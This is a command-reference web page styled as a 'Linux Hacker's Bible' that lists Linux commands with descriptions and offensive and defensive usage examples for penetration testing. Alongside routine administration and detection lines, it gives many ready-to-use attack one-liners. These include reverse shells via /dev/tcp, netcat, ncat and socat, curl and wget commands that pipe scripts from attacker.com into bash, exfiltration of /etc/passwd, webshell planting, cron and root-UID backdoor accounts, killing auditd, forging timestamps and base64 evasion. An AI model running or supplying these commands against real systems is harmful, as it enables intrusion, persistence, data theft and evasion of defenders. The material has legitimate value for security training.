// classified reference document — complete edition

LINUX HACKER'S BIBLE

COMPLETE COMMAND REFERENCE FOR CYBERSECURITY PROFESSIONALS _
361 commands
16 categories
real-world usage for each
⌕
Command Category Description Real-World Usage / Examples
lsFile & DirectoryList directory contents. -l long format, -a hidden files, -h human-readable sizes, -R recursive, -S sort by size, -t sort by timels -la /var/www/html — see all files incl. hidden .htaccess in web root
ls -lhS /tmp — find largest files in /tmp post-exploitation
ls -lt /etc/ — see most recently modified config files first
llFile & DirectoryAlias for ls -la (available on many distros by default)ll /home — quick long-listing of home dirs showing all users
pwdFile & DirectoryPrint current working directory absolute pathpwd — confirm exact location before destructive commands
cdFile & DirectoryChange directory. ~ = home, - = previous dir, .. = parentcd /var/log && ls -lt | head — jump to logs and see newest
cd - — toggle between two directories quickly
mkdirFile & DirectoryCreate directories. -p creates full nested path at oncemkdir -p ~/ops/{recon,exploit,loot,reports} — structured pentest workspace
rmdirFile & DirectoryRemove empty directoriesrmdir /tmp/emptyfolder — clean up empty staging dirs
rmFile & DirectoryRemove files/directories. -r recursive, -f force no-promptrm -rf /tmp/shell.php — remove dropped webshell post-pentest
find /tmp -name '*.pyc' | xargs rm -f — batch delete compiled artifacts
cpFile & DirectoryCopy files or dirs. -r recursive, -p preserve attributes, -a archive modecp /etc/passwd /tmp/passwd.bak — backup before modification
cp -a /var/www/html /home/user/site_backup — full site backup with permissions
mvFile & DirectoryMove or rename files and directoriesmv shell.php image.php — rename malicious file to evade detection
mv /tmp/loot.tar.gz /home/user/exfil/ — stage exfil data
touchFile & DirectoryCreate empty file or update timestamps of existing filetouch -t 202301010000.00 backdoor.sh — forge timestamps to confuse forensics
touch /var/www/html/.hidden_config — create hidden file
findFile & DirectorySearch filesystem with rich filters: name, perm, size, time, type, userfind / -perm -4000 -type f 2>/dev/null — ALL SUID binaries (privesc enum)
find / -name '*.conf' -readable 2>/dev/null — readable config files
find /var/www -name '*.php' -newer /tmp/ref 2>/dev/null — recently modified PHP (backdoor hunt)
find / -user root -perm -o+w 2>/dev/null — world-writable root-owned files
find /home -name '.bash_history' 2>/dev/null — find all history files
locateFile & DirectoryFast filename search via updatedb databaselocate shadow — instantly find shadow file paths
locate id_rsa — find all SSH private keys on system
locate wp-config.php — find WordPress config files with DB credentials
whichFile & DirectoryShow full path of command executable in PATHwhich python3 python perl ruby php — find scripting langs for shell upgrades
which nc ncat socat — find available reverse shell relay tools
whereisFile & DirectoryLocate binary, source code, and man page for a commandwhereis nc — find all netcat variants and their install paths
treeFile & DirectoryDisplay directory structure as ASCII treetree /var/www/html -L 3 — map web app folder structure
tree /etc -L 2 --filelimit 20 — config directory overview
fileFile & DirectoryDetermine file type by magic bytes, not extensionfile suspicious.bin — is it ELF, script, archive, or mislabeled?
file * — identify every file in directory (find hidden executables)
statFile & DirectoryShow detailed inode metadata: perms, owner, all timestamps, sizestat /etc/shadow — see exact modification time of shadow file
stat authorized_keys — verify permissions and last access on SSH keys
duFile & DirectoryShow disk usage of files and directoriesdu -sh /home/* 2>/dev/null — find large user home dirs (exfil indicator)
du -ah /var/log | sort -rh | head -20 — biggest log files consuming space
dfFile & DirectoryShow disk space usage of mounted filesystemsdf -h — check disk fullness (affects log writing and operations)
df -Th — show filesystem type (spot NFS mounts for pivot)
lnFile & DirectoryCreate hard links or symbolic links between filesln -s /etc/shadow /var/www/html/s.txt — symlink attack: expose sensitive file via web
ln -s /root /tmp/rootlink — create symlink to root home for traversal
lsattrFile & DirectoryList special extended filesystem attributeslsattr /etc/passwd — check if file is immutable (i flag set by defender)
lsattr -R /var/www/ — check all web files for append-only attribute
chattrFile & DirectoryChange extended file attributes (immutable, append-only, etc.)chattr +i /etc/passwd — make passwd immutable (no writes, even root)
chattr +a /var/log/auth.log — make log append-only, preventing deletion
chattr -i /etc/passwd — remove immutable to allow editing
realpathFile & DirectoryResolve symlinks and return full absolute pathrealpath ./../../etc/passwd — resolve path traversal sequences to absolute path
basenameFile & DirectoryStrip directory path from a filenamebasename /var/www/html/shell.php — outputs: shell.php (useful in scripts)
dirnameFile & DirectoryExtract directory component from a pathdirname /etc/ssh/sshd_config — outputs: /etc/ssh
catText & File ContentPrint entire file to stdout. -n shows line numbers, -A shows special charscat /etc/passwd — read all user accounts
cat /etc/shadow — read password hashes (needs root)
cat ~/.bash_history — read command history after gaining access
cat /proc/net/tcp — raw active connections in hex
lessText & File ContentInteractively scroll through files. / to search, q to quit, G for endless /var/log/auth.log — browse auth log for failed logins
less /proc/1/maps — inspect memory mappings of init process
moreText & File ContentPaginate file output (older, less featureful than less)more /etc/services — page through service/port list
headText & File ContentPrint first N lines of file. -n specifies count, -c specifies byteshead -n 5 /etc/passwd — see first 5 accounts
head -c 16 /dev/urandom | xxd — generate 16 random bytes in hex
tailText & File ContentPrint last N lines. -f follows file live as it growstail -f /var/log/auth.log — watch live login attempts during brute force
tail -f /var/log/apache2/access.log | grep POST — watch for POST requests in real-time
grepText & File ContentSearch text with patterns. -r recursive, -i case-insensitive, -n line numbers, -l files-only, -v invertgrep -r 'password' /var/www/html/ 2>/dev/null — find hardcoded passwords in web app
grep -rn 'eval(base64_decode' /var/www/ — find PHP webshells
grep 'Failed password' /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn — top brute-force IPs
grep -l 'DB_PASSWORD' /var/www/**/*.php 2>/dev/null — files containing DB passwords
egrepText & File ContentExtended grep supporting full regex: |, +, ?, {n,m}, ()egrep 'root|admin|sudo' /etc/passwd — find privileged accounts
egrep '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' access.log — extract all IPs from log
fgrepText & File ContentFixed-string grep — no regex interpretation (fastest for literal searches)fgrep 'Connection refused' /var/log/syslog — literal string search, no regex overhead
sedText & File ContentStream editor: find-and-replace, line deletion, insertion, in-place editssed 's/PermitRootLogin no/PermitRootLogin yes/g' /etc/ssh/sshd_config — enable root SSH
sed -i '/baduser/d' /etc/passwd — delete user line from passwd in-place
sed -n '10,20p' file.txt — print only lines 10-20
awkText & File ContentText processing language — field splitting, math, conditionals, patternsawk -F: '{print $1,$3}' /etc/passwd — print username and UID
awk '$9==200 {print $7}' access.log | sort | uniq -c | sort -rn — most-hit URLs with 200 OK
awk '{print $1}' access.log | sort | uniq -c | sort -rn | head -20 — top 20 IPs in web log
cutText & File ContentExtract specific fields from lines using delimiter or byte positioncut -d: -f1,3 /etc/passwd — extract username and UID columns
cut -d' ' -f1 /var/log/nginx/access.log | sort | uniq -c — count hits per IP
sortText & File ContentSort lines of text. -u unique, -n numeric, -r reverse, -t field sep, -k keysort -u ips.txt — deduplicate IP/target list
sort -t: -k3 -n /etc/passwd — sort users by UID numerically
sort -rn counts.txt | head — show top N by count
uniqText & File ContentFilter or report duplicate adjacent lines. -c prefix count, -d show dupes onlycat auth.log | awk '{print $11}' | sort | uniq -c | sort -rn | head — top brute-force source IPs
wcText & File ContentCount lines -l, words -w, characters -c, bytes -b in fileswc -l /etc/passwd — count total user accounts
wc -l /usr/share/wordlists/rockyou.txt — count wordlist size
trText & File ContentTranslate or delete characters in streamsecho 'hello' | tr 'a-z' 'A-Z' — uppercase conversion
cat file | tr -d '\r' — strip Windows CR characters from text
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 20 — generate random password
diffText & File ContentCompare two files line-by-line and show differencesdiff /etc/passwd /etc/passwd.bak — detect any changes to passwd after intrusion
diff -u original.conf modified.conf — unified diff (patch format)
commText & File ContentCompare two sorted files line-by-line, output unique/common linescomm -13 sorted_file1.txt sorted_file2.txt — lines only in file2 (new entries)
stringsText & File ContentExtract all printable character sequences from binary filesstrings malware.bin | grep -iE 'http|ftp|pass|key|token|cmd' — extract IOCs and credentials from malware
strings /proc/PID/exe | grep -i config — strings from running process memory
xxdText & File ContentCreate or reverse hex dumps of filesxxd shell.php | head -20 — inspect hex of suspicious PHP file
xxd -r -p shellcode.hex > shellcode.bin — convert hex string back to binary
echo '4d5a' | xxd -r -p | file - — check if hex is MZ (Windows PE)
odText & File ContentDump file in octal, hex, decimal, or character formatsod -An -tx1 -v file.bin — hex dump without address (clean for scripting)
hexdumpText & File ContentDisplay raw binary in hex + ASCII side-by-sidehexdump -C exploit.bin | head -40 — inspect exploit binary structure and padding
teeText & File ContentRead from stdin, write simultaneously to stdout AND a filenmap -sV -sC target | tee nmap_full.txt — run nmap and save output simultaneously
./linpeas.sh | tee linpeas_$(date +%F).txt — save privesc output with timestamp
xargsText & File ContentBuild and execute commands from stdin, handles large lists safelycat targets.txt | xargs -P4 -I{} nmap -sS {} -oN {}.txt — parallel nmap on all targets
find / -name '*.php' 2>/dev/null | xargs grep -l 'eval' — find PHP eval files
columnText & File ContentFormat text into aligned columns for readabilitycolumn -t -s: /etc/passwd — display passwd as readable table
cat output.csv | column -t -s, — pretty-print CSV output
nlText & File ContentNumber lines in a filenl /etc/passwd — numbered passwd for easy reference
splitText & File ContentSplit large files into smaller pieces by size or line countsplit -b 50M bigdump.sql dump_part_ — split large SQL dump for transfer
split -l 1000 huge.txt chunk_ — split by line count
chmodPermissionsChange file/directory permissions. Octal (755) or symbolic (u+x,o-r)chmod +x shell.sh — make script executable
chmod 600 id_rsa — fix SSH private key permissions
chmod 4755 /bin/bash — set SUID on bash (root privesc — lab only!)
chmod o+w /etc/passwd — make passwd world-writable (lab demo only)
chownPermissionsChange file owner and/or group. -R for recursivechown www-data:www-data /var/www/html/shell.php — make webshell owned by web user
chown root:shadow /etc/shadow && chmod 640 /etc/shadow — restore shadow perms
chgrpPermissionsChange group ownership of fileschgrp shadow /etc/shadow — assign shadow group to shadow file
umaskPermissionsSet default permission mask for new files in current sessionumask 077 — new files will be 600 (owner only) — use before creating sensitive files
getfaclPermissionsDisplay Access Control List (ACL) entries for files/dirsgetfacl /var/www/html — reveal extended ACL rules not shown by ls -l
setfaclPermissionsSet fine-grained ACL permissions on files and directoriessetfacl -m u:attacker:rwx /target — grant specific user full access without changing ownership
setfacl -m u:www-data:r /etc/secret.conf — add read-only for web user
sudoPermissionsExecute commands as root or another user if permitted in sudoerssudo -l — CRITICAL: list all allowed sudo commands for current user (key privesc step)
sudo -u postgres psql — pivot to postgres user
sudo -u root /bin/bash — get root shell if allowed
sudo su - — switch to root interactively
suPermissionsSwitch user account (requires password unless root)su - www-data — switch to web server user with full environment
su -c 'cat /etc/shadow' root — run single command as root
newgrpPermissionsSwitch primary group in current session without logging outnewgrp docker — activate docker group membership immediately after being added
idPermissionsShow UID, GID, and all group memberships of a userid — first command after getting a shell: check if root, look for docker/lxd/sudo groups
id username — check specific user's group memberships for lateral movement
whoamiPermissionsPrint the effective username of the current processwhoami — verify identity after privilege escalation attempt
groupsPermissionsList all groups the current user belongs togroups — look for: sudo, docker, lxd, disk, adm, shadow — all are privesc vectors
useraddUser ManagementAdd new user account. -m create home, -s set shell, -G add to groupsuseradd -m -s /bin/bash -G sudo backdoor — create persistent backdoor user with sudo
useradd -u 0 -o -g 0 ghost — create user sharing root UID (extremely suspicious)
usermodUser ManagementModify existing user account attributesusermod -aG sudo existinguser — add user to sudo group (escalation)
usermod -aG docker user — add to docker group (root via container escape)
usermod -aG lxd user — add to lxd group (root via container)
userdelUser ManagementDelete user account. -r also removes home directory and mailuserdel -r backdoor — clean up backdoor account during remediation
groupaddUser ManagementCreate a new group on the systemgroupadd pentesters — create dedicated group for shared access control
groupmodUser ManagementModify an existing group name or GIDgroupmod -n newname oldname — rename a group
groupdelUser ManagementDelete a group from the systemgroupdel oldgroup — remove unused group
passwdUser ManagementChange password or lock/unlock accountspasswd -l username — lock account (disable login)
passwd -u username — unlock account
echo 'root:newpass' | chpasswd — change root password non-interactively
chpasswdUser ManagementUpdate multiple user passwords in batch from stdinecho 'user1:pass123' | chpasswd — change password in script
cat users_passes.txt | chpasswd — bulk password update
whoUser ManagementShow who is currently logged into the system with terminal and login timewho — detect other logged-in users who may observe your activity
wUser ManagementShow logged-in users with active processes and idle timesw — see what commands other users are currently running
lastUser ManagementShow login/logout history from /var/log/wtmplast -a | head -30 — recent logins with hostnames
last -F username — full date/time for specific user logins
lastlogUser ManagementShow most recent login time for every user accountlastlog | grep -v 'Never' — find actively used accounts
lastlog | grep 'Never' — find dormant accounts (targets for takeover)
lastbUser ManagementShow failed/bad login attempts from /var/log/btmp (needs root)lastb | head -30 — identify brute-force targets and attacker IPs
lastb | awk '{print $3}' | sort | uniq -c | sort -rn — top IPs with failed logins
fingerUser ManagementDisplay detailed info about users including login, home, shellfinger username — show user info for social engineering context
usersUser ManagementPrint usernames of all currently logged-in usersusers — quick one-line list of who is on the system
lognameUser ManagementPrint the login name of the current userlogname — gets original login name even when su'd to another user
psProcess ManagementSnapshot of running processes. aux shows all with user, f shows treeps aux | grep -E 'nc|ncat|socat|python|perl|ruby' — hunt for reverse shells
ps aux | grep root — find root-owned processes for escalation targets
ps auxf — full process tree to spot suspicious parent-child chains (e.g., apache->bash)
topProcess ManagementInteractive real-time process viewer with CPU and memory usagetop -u www-data — watch web server processes
top -p PID — monitor specific process
htopProcess ManagementEnhanced interactive process viewer with color, mouse, tree viewhtop — visually spot anomalous processes; use F5 for tree view
killProcess ManagementSend signal to process by PID. SIGKILL(9) force-kills, SIGTERM(15) gracefulkill -9 $(pgrep auditd) — force-kill audit daemon to stop logging
kill -9 PID — force terminate stuck or dangerous process
killallProcess ManagementKill all processes matching a namekillall auditd — stop audit daemon (needs root)
killall -u baduser bash — kill all bash sessions of a specific user
pkillProcess ManagementKill processes by name pattern, user, terminal, or other attributespkill -f 'nc -lvp' — kill netcat listener by its full command string
pkill -u victim ssh — kill all SSH sessions of specific user
pgrepProcess ManagementFind PIDs of processes matching a name or patternpgrep -a sshd — find sshd PIDs with full command line
pgrep -u root nc — find root-owned netcat processes (backdoors)
niceProcess ManagementStart a process with specified scheduling priority (-20 highest, 19 lowest)nice -n 19 hashcat ... — run cracker at lowest priority to avoid detection by high CPU
reniceProcess ManagementChange scheduling priority of an already-running processrenice 19 -p PID — lower priority of noisy process to avoid alerting on CPU usage
nohupProcess ManagementRun command immune to SIGHUP so it survives terminal/SSH disconnectnohup ./reverse_shell.sh > /dev/null 2>&1 & — keep reverse shell running after disconnect
nohup python3 -m http.server 8080 & — persistent file server
bgProcess ManagementSend suspended foreground job to backgroundCtrl+Z then bg — background a running tool to free the terminal
fgProcess ManagementBring a background job back to foregroundfg %1 — bring job 1 back to foreground
jobsProcess ManagementList all active background jobs in current shell sessionjobs -l — see all background jobs with PIDs and status
waitProcess ManagementWait for background processes to complete before continuingnmap host1 & nmap host2 & wait; echo done — parallel scans then continue
sleepProcess ManagementPause execution for specified seconds, minutes, hours, or dayssleep 300 && ./delayed_payload.sh — wait 5 min before executing
atProcess ManagementSchedule a one-time command at a specified timeecho 'bash -i >& /dev/tcp/10.10.10.1/4444 0>&1' | at now + 2 minutes — delayed reverse shell
cronProcess ManagementBackground daemon that runs scheduled cron jobsservice cron status — check if cron is running
cat /var/spool/cron/crontabs/* — read all user cron files (root needed)
crontabProcess ManagementManage user cron jobs. -l list, -e edit, -r remove, -u specify usercrontab -l — list current user's cron jobs (persistence audit)
echo '* * * * * /tmp/.bd.sh' | crontab - — install persistent cron backdoor
crontab -l -u www-data — read another user's crontab (root needed)
watchProcess ManagementRepeatedly run a command at intervals and display outputwatch -n 1 'netstat -an | grep ESTABLISHED' — monitor live connections
watch -n 2 'ps aux | grep -v grep | grep suspicious' — watch for process spawning
timeoutProcess ManagementRun a command and kill it automatically after a time limittimeout 30s ./exploit.sh — prevent exploit from hanging indefinitely
straceProcess ManagementTrace system calls and signals of a process. -p attach to running PIDstrace -p PID -e trace=network 2>&1 | grep connect — watch network activity of running process
strace -e openat ls 2>&1 | grep passwd — see what files ls touches
ltraceProcess ManagementTrace library (libc) function calls made by a processltrace ./binary 2>&1 | grep -i 'strcmp\|strcpy\|system' — find password comparisons in binary
lsofProcess ManagementList all open files, network sockets, pipes by processlsof -i :4444 — find what process is using port 4444
lsof -p PID — all open files/connections of specific process
lsof -i -n -P | grep LISTEN — all listening ports with owning process names
lsof -u username — all files opened by a user
fuserProcess ManagementIdentify which processes are using a file or network portfuser 80/tcp — PID using port 80
fuser -k 4444/tcp — kill process using port 4444
pstreeProcess ManagementDisplay running processes as an ASCII tree diagrampstree -p — spot suspicious parent-child relationships (apache->bash = webshell!)
timeProcess ManagementMeasure real, user, and system time taken by a commandtime ./exploit.sh — benchmark exploit execution time
ipNetworkingConfigure and display network interfaces, routes, neighbors, tunnelsip a — all interfaces and IPs (first recon step after shell)
ip route show — discover internal network routes for pivoting
ip neigh show — ARP cache: discover local hosts without scanning
ip link set eth0 promisc on — enable promiscuous mode for sniffing
ifconfigNetworkingLegacy interface configuration tool (still on many systems)ifconfig — list all interfaces
ifconfig eth0 promisc — enable promiscuous mode
ifconfig eth0 192.168.1.100 netmask 255.255.255.0 — manually set IP
iwconfigNetworkingConfigure and display wireless interface settingsiwconfig wlan0 — check current mode, ESSID, frequency
iwconfig wlan0 mode monitor — manually set monitor mode
iwlistNetworkingScan and list detailed wireless network informationiwlist wlan0 scan | grep ESSID — list all nearby SSIDs
iwlist wlan0 scan | grep -E 'ESSID|Quality|Encryption' — full scan summary
pingNetworkingTest ICMP reachability. -c count, -i interval, -W timeoutping -c 1 10.10.10.1 — test if host is alive
for i in {1..254}; do ping -c1 -W1 192.168.1.$i &>/dev/null && echo alive: 192.168.1.$i; done — bash ping sweep
ping6NetworkingSend ICMPv6 echo requests to test IPv6 connectivityping6 -c 3 fe80::1%eth0 — ping IPv6 link-local address
tracerouteNetworkingTrace the packet path (hops) from local to destination hosttraceroute -n target.com — map network path, find firewalls and load balancers
traceroute -T -p 80 target.com — TCP traceroute (bypasses ICMP blocks)
tracepathNetworkingTrace path to host without requiring root (uses UDP)tracepath target.com — network path mapping as non-root user
mtrNetworkingCombines ping and traceroute in live updating displaymtr --report -c 20 target.com — generate network path report for analysis
netstatNetworkingDisplay network connections, routing table, interface stats, listening portsnetstat -tulnp — all listening ports with process names
netstat -an | grep ESTABLISHED — all active connections
netstat -rn — routing table
ssNetworkingModern socket statistics tool — faster replacement for netstatss -tulnp — listening ports with PIDs
ss -anp | grep :4444 — find reverse shell connection
ss -o state established '( dport = :22 or sport = :22 )' — established SSH connections
nmapNetworkingNetwork mapper and port scanner — most important recon toolnmap -sn 192.168.1.0/24 — ping sweep entire subnet
nmap -sV -sC -p- -T4 target.com -oA scan — full port + version + scripts + save output
nmap --script vuln -p 80,443,8080 target — vuln scan specific ports
nmap -sU -p 53,161,500 target — UDP scan for DNS, SNMP, IKE
nmap -sS -Pn -n --open target — stealth SYN scan, skip DNS, show only open
masscanNetworkingUltra-fast port scanner — scans millions of packets per secondmasscan 10.0.0.0/8 -p80,443,22,3389 --rate=10000 -oL results.txt — scan huge range fast
masscan 192.168.1.0/24 -p1-65535 --rate=1000 — all ports on local subnet
ncNetworkingNetcat — TCP/UDP swiss army knife for connections, listening, file transfernc -lvp 4444 — open reverse shell listener
nc -e /bin/bash attacker 4444 — connect back with shell
nc -z -v target 1-1024 2>&1 | grep succeeded — port scan range
cat file | nc -lvp 9999 then nc host 9999 > file — file transfer
ncatNetworkingImproved netcat from Nmap project with SSL, proxying, brokeringncat --ssl -lvp 4444 -e /bin/bash — encrypted reverse shell listener
ncat --ssl attacker 4444 -e /bin/bash — SSL reverse shell
socatNetworkingMultipurpose relay — bidirectional byte streams, more powerful than ncsocat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane — full TTY shell listener
socat TCP:attacker:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane — connect-back full TTY
socat TCP-LISTEN:8080,fork TCP:internal:80 — port forward/pivot relay
curlNetworkingTransfer data with many protocols. Supports HTTP, HTTPS, FTP, proxies, authcurl -I https://target.com — grab headers to fingerprint server and WAF
curl -x socks5://127.0.0.1:9050 http://target.onion — via Tor proxy
curl -F 'f=@/etc/passwd' https://attacker.com/upload — exfil file via HTTP POST
curl -s https://attacker.com/linpeas.sh | bash — download and execute
curl -u admin:password http://target/api/users — authenticated API request
wgetNetworkingDownload files from web. Supports recursive, mirror, resumingwget -q http://attacker.com/shell.php -O /var/www/html/sh.php — plant webshell
wget -r -np --no-check-certificate https://target.com/ — mirror site
wget -q -O- http://10.10.10.1/linpeas.sh | bash — download and pipe to shell
digNetworkingDNS lookup utility — powerful for DNS recon and enumerationdig ANY target.com — query all record types
dig axfr @ns1.target.com target.com — attempt zone transfer (massive info leak)
dig +short MX target.com — find mail servers for phishing prep
dig -x 8.8.8.8 — reverse DNS lookup
dig +trace target.com — trace DNS delegation chain
nslookupNetworkingInteractive DNS query tool — query specific serversnslookup -type=any target.com 8.8.8.8 — full query via specific DNS
nslookup -type=mx target.com — find mail servers (phishing recon)
hostNetworkingSimple DNS lookup — cleaner output than nslookuphost -a target.com — all records
host -l target.com ns1.target.com — zone transfer attempt
whoisNetworkingQuery domain registration data and IP block ownership infowhois target.com — registrar, admin email, name servers, registration dates
whois 203.0.113.1 — ASN, org, IP range owner (OSINT)
arpNetworkingDisplay and modify ARP cache (MAC-to-IP mappings)arp -a — view ARP table for local network host discovery
arp -s 192.168.1.1 aa:bb:cc:dd:ee:ff — add static ARP (MITM setup)
arpingNetworkingSend ARP requests at layer 2 to discover hosts on local segmentarping -c 3 192.168.1.1 — verify host at layer 2 even if ICMP blocked
routeNetworkingDisplay or modify the IP routing table (legacy, use ip route instead)route -n — show routing table with numeric output
route add -net 10.0.0.0/8 gw 192.168.1.1 — add route for pivoting
iptablesNetworkingConfigure Linux kernel netfilter firewall rulesiptables -L -n -v --line-numbers — list all rules with verbose info
iptables -A INPUT -p tcp --dport 4444 -j ACCEPT — allow reverse shell port
iptables -F — flush/delete all rules (drop firewall — lab only)
iptables -I INPUT -s attacker_ip -j ACCEPT — whitelist attacker IP
ip6tablesNetworkingIPv6 firewall rules (same syntax as iptables)ip6tables -L — check IPv6 firewall rules (often forgotten/misconfigured)
nftablesNetworkingModern framework replacing iptables — uses single tool and rulesetnft list ruleset — show all nftables rules
nft flush ruleset — clear all rules (lab only)
ufwNetworkingUncomplicated Firewall — friendly frontend for iptablesufw status verbose — see all active firewall rules
ufw allow 4444/tcp — open port
ufw disable — turn off firewall (needs root)
tcpdumpNetworkingCapture and analyze network packets from CLItcpdump -i eth0 -w capture.pcap — capture all traffic to file for Wireshark
tcpdump -i any host 10.10.10.5 -nn — capture traffic to/from specific host
tcpdump -i eth0 port 80 -A — display HTTP traffic as ASCII (see credentials)
tcpdump -i eth0 'tcp[tcpflags] & tcp-syn != 0' — capture only SYN packets
tsharkNetworkingWireshark CLI — analyze captures and extract fieldstshark -r capture.pcap -Y 'http.request' -T fields -e http.request.uri -e http.host — extract all HTTP requests
tshark -r cap.pcap -Y 'ftp' -T text — extract FTP session
wiresharkNetworkingGUI packet analyzer for deep protocol inspectionwireshark -r capture.pcap & — open capture file in GUI for analysis
ettercapNetworkingMITM framework with plugin support for network poisoningettercap -T -q -i eth0 -M arp:remote /victim// /gateway// — ARP MITM between victim and gateway
arpspoofNetworkingPerform ARP cache poisoning to intercept LAN trafficarpspoof -i eth0 -t 192.168.1.50 192.168.1.1 — poison victim ARP pointing to us
echo 1 > /proc/sys/net/ipv4/ip_forward — enable IP forwarding to relay traffic
dnsspoofNetworkingSpoof DNS replies on a LAN to redirect trafficdnsspoof -i eth0 -f hosts.txt — redirect DNS queries using custom hosts file
hping3NetworkingCraft custom TCP/UDP/ICMP packets for testing and evasionhping3 -S --flood -p 80 target — SYN flood (lab DoS testing only)
hping3 -A -p 80 target -c 3 — ACK scan (bypass stateless firewalls)
hping3 --icmp --icmp-ts target — ICMP timestamp request
sshNetworkingSecure shell remote access with tunneling capabilitiesssh user@target -p 2222 — connect to non-standard port
ssh -L 8080:internal:80 user@pivot — local tunnel: localhost:8080 -> internal:80 via pivot
ssh -R 4444:localhost:4444 user@attacker — reverse tunnel through firewall
ssh -D 1080 user@proxy — SOCKS5 dynamic proxy through SSH
ssh -N -f -L 3306:db:3306 user@pivot — background tunnel to database
scpNetworkingSecurely copy files between hosts over SSHscp loot.zip user@attacker.com:/tmp/ — exfil files
scp user@target:/etc/passwd ./ — pull sensitive file from compromised host
scp -r /var/www/html user@backup:/srv/ — recursive copy
sftpNetworkingInteractive secure FTP client over SSHsftp user@target — interactive file browser
sftp user@target:/etc/passwd /tmp/passwd — download specific file
ftpNetworkingFile Transfer Protocol client — often allows anonymous loginftp target.com — try anonymous:anonymous login
ftp -n target <<< $'user anonymous\nget /etc/passwd\nbye' — script FTP download
telnetNetworkingOld protocol client — useful for banner grabbing and port testingtelnet target 25 — connect to SMTP for banner + manual interaction
telnet target 80 — raw HTTP testing
telnet target 4444 — test if a port is open
opensslNetworkingSwiss army knife for TLS inspection, encryption, and certificate handlingopenssl s_client -connect target.com:443 — inspect TLS cert, cipher, handshake
openssl s_client -connect target:443 2>/dev/null | openssl x509 -noout -text — full cert details
openssl x509 -in cert.pem -noout -subject -issuer -dates — cert validity and issuer
openssl speed — benchmark crypto performance
stunnelNetworkingCreate SSL tunnels for non-SSL servicesstunnel3 -d 443 -r 80 — wrap HTTP in SSL (simple HTTPS proxy)
proxychainsNetworkingRoute TCP connections through a chain of SOCKS4/5 or HTTP proxiesproxychains nmap -sT -Pn -n target — nmap through Tor/proxy chain
proxychains4 -q ssh user@internal — SSH through proxy for lateral movement
torNetworkingTor anonymization network daemonservice tor start — start Tor daemon (listens on SOCKS 127.0.0.1:9050)
curl --socks5 127.0.0.1:9050 https://check.torproject.org/ — verify Tor is working
openvpnNetworkingConnect to or run OpenVPN tunnelsopenvpn --config lab.ovpn — connect to VPN (e.g., HackTheBox/TryHackMe labs)
openvpn --config client.ovpn --daemon — background VPN connection
wgNetworkingWireGuard VPN CLI for modern fast encrypted tunnelswg show — show active WireGuard interfaces, peers, transfer stats
wg-quick up wg0 — bring up WireGuard interface
airmon-ngNetworkingEnable or disable monitor mode on wireless interfacesairmon-ng check kill — kill processes interfering with monitor mode
airmon-ng start wlan0 — enable monitor mode → wlan0mon
airodump-ngNetworkingCapture 802.11 frames and enumerate nearby wireless networksairodump-ng wlan0mon — scan all channels for APs and clients
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon — target specific AP and capture handshake
aireplay-ngNetworkingInject packets — deauth attacks, fake auth, replay for crackingaireplay-ng -0 10 -a BSSID -c CLIENT wlan0mon — send 10 deauth frames to client (forces WPA handshake on reconnect)
aircrack-ngNetworkingCrack WEP and WPA-PSK keys from captured packet filesaircrack-ng -w /usr/share/wordlists/rockyou.txt -b BSSID cap*.cap — dictionary attack on WPA handshake
iwspyNetworkingGet wireless statistics from specific nodes in rangeiwspy wlan0 192.168.1.1 — monitor signal quality to specific AP
md5sumCrypto & HashingCompute or verify MD5 checksum of filesmd5sum malware.exe — get hash for VirusTotal / threat intel lookup
md5sum /bin/ls /bin/ps /usr/bin/sudo > baseline.md5 — integrity baseline
sha1sumCrypto & HashingCompute or verify SHA-1 checksumsha1sum file.bin — SHA-1 hash for legacy compatibility checks
sha256sumCrypto & HashingCompute or verify SHA-256 checksumsha256sum kali-linux.iso — verify ISO integrity after download
sha256sum /etc/passwd > hashes/passwd.sha256 — store for change detection
sha512sumCrypto & HashingCompute or verify SHA-512 checksumsha512sum disk_image.img — strong forensic hash of evidence image
b2sumCrypto & HashingCompute BLAKE2 hash — fast and cryptographically strongb2sum file.iso — modern high-speed hash for large file integrity
base64Crypto & HashingEncode or decode base64 datacat shell.py | base64 -w 0 — encode payload for transfer and obfuscation
echo 'aGVsbG8=' | base64 -d — decode suspicious base64 string
echo '/bin/bash -i >& /dev/tcp/10.10.10.1/4444 0>&1' | base64 — encode reverse shell for evasion
base64 -d <<< 'cGF5bG9hZA==' | bash — decode and execute in one line
gpgCrypto & HashingGNU Privacy Guard — asymmetric and symmetric encryption, signinggpg -c sensitive_data.txt — symmetrically encrypt with passphrase
gpg --gen-key — generate GPG keypair for C2 comms
gpg -d file.gpg — decrypt file
gpg --import pubkey.asc && gpg -e -r target@email.com file — encrypt for recipient
openssl encCrypto & HashingSymmetric file encryption using OpenSSL ciphersopenssl enc -aes-256-cbc -pbkdf2 -in loot.txt -out loot.enc — encrypt loot for safe exfil
openssl enc -d -aes-256-cbc -pbkdf2 -in loot.enc -out loot.txt — decrypt
openssl genrsaCrypto & HashingGenerate RSA private key of specified bit sizeopenssl genrsa -out private.key 4096 — generate strong RSA private key
openssl rsa -in private.key -pubout -out public.key — extract public key
openssl x509Crypto & HashingInspect, convert, and manipulate X.509 certificatesopenssl x509 -in cert.pem -noout -text — view full certificate details
openssl x509 -in cert.pem -noout -subject -dates — check validity period
openssl passwdCrypto & HashingGenerate crypt-format password hashesopenssl passwd -6 -salt xyz mypassword — generate SHA-512 hash for /etc/shadow insertion
openssl passwd -apr1 password — Apache MD5 hash
johnCrypto & HashingJohn the Ripper — multi-format password hash crackerjohn --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt — dictionary attack
unshadow /etc/passwd /etc/shadow > combined.txt && john combined.txt — crack Linux shadow hashes
john --format=bcrypt --wordlist=rockyou.txt hashes.txt — crack bcrypt hashes
john --show hashes.txt — display cracked passwords
hashcatCrypto & HashingGPU-accelerated hash cracker — fastest tool availablehashcat -m 0 -a 0 hashes.txt rockyou.txt — MD5 dictionary attack
hashcat -m 1800 -a 3 shadow.txt '?a?a?a?a?a?a' — SHA-512 brute-force 6-char
hashcat -m 22000 wpa.hc22000 rockyou.txt — crack WPA handshake
hashcat -m 1000 ntlm.txt rockyou.txt -r rules/best64.rule — NTLM with rules
